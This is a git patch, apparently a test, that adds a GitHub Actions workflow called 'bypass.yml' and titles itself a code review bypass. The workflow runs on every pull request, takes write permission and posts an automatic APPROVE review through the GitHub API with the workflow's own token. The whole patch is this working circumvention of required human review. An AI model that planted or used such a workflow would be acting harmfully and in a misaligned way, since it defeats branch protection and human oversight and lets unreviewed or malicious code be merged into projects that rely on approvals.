From b996e4480ab66fc6419548ec63fd7c803d74d646 Mon Sep 17 00:00:00 2001 From: Timo Sand Date: Sun, 23 Nov 2025 22:29:39 +0200 Subject: [PATCH] Test code review bypass Workflow --- .github/workflows/bypass.yml | 17 +++++++++++++++++ 1 file changed, 17 insertions(+) create mode 100644 .github/workflows/bypass.yml diff --git a/.github/workflows/bypass.yml b/.github/workflows/bypass.yml new file mode 100644 index 0000000000..815529d174 --- /dev/null +++ b/.github/workflows/bypass.yml @@ -0,0 +1,17 @@ +name: APPROVE + +on: pull_request # run on pull request events + +permissions: + pull-requests: write # grant write permission on the pull-requests endpoint +jobs: + approve: + runs-on: ubuntu-latest + + steps: + - run: | # approve the pull request + curl --request POST \ + --url https://api.github.com/repos/${{github.repository}}/pulls/${{github.event.number}}/reviews \ + --header 'authorization: Bearer ${{ secrets.GITHUB_TOKEN }}' \ + --header 'content-type: application/json' \ + -d '{"event":"APPROVE"}' \ No newline at end of file